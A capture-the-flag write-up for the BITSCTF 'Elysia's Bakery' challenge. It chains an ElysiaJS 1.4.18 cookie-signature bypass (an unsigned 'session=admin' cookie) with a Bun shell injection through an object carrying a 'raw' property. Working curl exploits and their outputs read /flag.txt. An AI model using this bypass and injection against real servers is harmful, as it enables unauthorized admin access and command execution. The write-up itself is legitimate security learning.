Elysia's Bakery - Web
Points: 498 | Flag: BITSCTF{89e1345e28f35da7f5f74dd1afa46844} | Solved by: Smothy @ 0xN1umb

what we got
ElysiaJS web app pinned to v1.4.18 running on Bun. basic notes app - signup, login, CRUD notes. theres an admin-only /admin/list endpoint that runs ls on a user-supplied folder using bun's $ shell template. flag sitting at /flag.txt in the container.
the challenge description just says: "Becoming admin shouldn't be too hard?"
source code provided - lets look at the important bits:
// cookie config - signed cookies
const app = new Elysia({
cookie: {
secrets: [Bun.env.SECRET_KEY || "super_secret_key"],
sign: ["session"],
},
})// admin endpoint - the prize
.post("/admin/list", async ({ cookie: { session }, body }) => {
const data = getSessionData(session);
if (!data) return status(401, "Unauthorized");
if (!data.isAdmin) return status(403, "Forbidden");
const folder = (body as any).folder;
if (typeof folder === "string" && folder.includes("..")) {
return status(400, "Invalid folder path");
}
const result = $`ls ${folder}`.quiet();
const output = await result.text();
const files = output.split("\n").filter(Boolean);
return { files };
})so two problems to solve:
- become admin (session cookie is signed, admin password is randomized by instancer)
- read
/flag.txt(endpoint only runsls, notcat)
the solve
two framework-level vulns chained together. ngl this was clean af
vuln 1: cookie signature bypass (elysia <= 1.4.18)

elysia has this hilarious bug in cookie signature verification. the decoded variable starts as true BEFORE actually verifying anything:
let decoded = true; // lmao already true
for (const secret of secrets) {
const result = unsignCookie(value, secret);
if (result.valid) {
decoded = true; // redundant, was already true
value = result.unsigned;
break;
}
}
if (!decoded) throw new InvalidCookieSignature(name);
// ^^^ this NEVER fires because decoded starts as true and is never set to falseso the signature check is literally dead code. any cookie value passes verification, signed or not. fixed in 1.4.19 where they changed it to let decoded = false.
first i registered a test user and logged in to confirm the cookie format:
set-cookie: session=testuser123.wseh3VBd%2FSlLRT7oN1e0h0lOf4%2FJQyBZ3gz0ldomLi0
format is {value}.{hmac_signature}. tried to verify with default secret super_secret_key - nope, instancer randomizes it. doesn't matter tho because the signature check is broken anyway.
just set the cookie to admin with no signature at all:
curl -s "http://chals.bitskrieg.in:34605/admin/list" \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=admin" \
-d '{"folder": "/"}'{"files":["opt","media","tmp","boot","proc","lib64","lib","home","mnt","dev","root","var","sbin","sys","bin","usr","etc","run","srv","flag.txt","app"]}we're admin. can see flag.txt in root. now we need to read it.
vuln 2: bun shell injection via $.raw() duck typing
the admin endpoint runs $ls ${folder}.quiet(). bun's $ tagged template is supposed to be injection-safe - it escapes all interpolated values. tried all the classics:
# all of these get properly escaped by bun's shell
{"folder": ["; cat /flag.txt"]} # -> ls '; cat /flag.txt'
{"folder": ["$(cat /flag.txt)"]} # -> ls '$(cat /flag.txt)'
{"folder": ["`cat /flag.txt`"]} # -> ls '`cat /flag.txt`'
{"folder": ["| cat /flag.txt"]} # -> ls '| cat /flag.txt'all treated as literal filenames. bun's shell escaping is solid for strings and arrays.
BUT here's the thing - bun's shell has $.raw() which creates unescaped shell expressions. and bun uses duck typing to detect them. meaning if your value is any object with a raw property, bun treats the value as raw unescaped shell text.
the .. check only triggers for strings (typeof folder === "string"), so objects bypass it completely:
curl -s "http://chals.bitskrieg.in:34605/admin/list" \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=admin" \
-d '{"folder": {"raw": "; cat /flag.txt"}}'bun sees folder has a .raw property, treats it as a raw shell expression, and injects ; cat /flag.txt directly without escaping. the shell command becomes ls ; cat /flag.txt - two commands.
{"files":["notes","public","src","node_modules","bun.lock","package.json","BITSCTF{89e1345e28f35da7f5f74dd1afa46844}"]}also works with pipe:
-d '{"folder": {"raw": "| cat /flag.txt"}}'{"files":["BITSCTF{89e1345e28f35da7f5f74dd1afa46844}"]}tl;dr exploit
# one curl to rule them all
curl -s "http://instance:port/admin/list" \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=admin" \
-d '{"folder": {"raw": "| cat /flag.txt"}}'thats it. one request. cookie bypass + shell injection.
why elysia 1.4.18 specifically?
the challenge pins this exact version because its the sweet spot:
- 1.4.16 and below: prototype pollution via
mergeDeep(CVE-2025-66456) - could chain to RCE - 1.4.17: prototype pollution fixed
- 1.4.18: cookie config injection fixed (CVE-2025-66457), but cookie signature bypass still present
- 1.4.19: cookie signature bypass finally fixed
so 1.4.18 is the only version where the cookie bypass is the ONLY way in. beautiful challenge design fr
flag
BITSCTF{89e1345e28f35da7f5f74dd1afa46844}
smothy out ✌️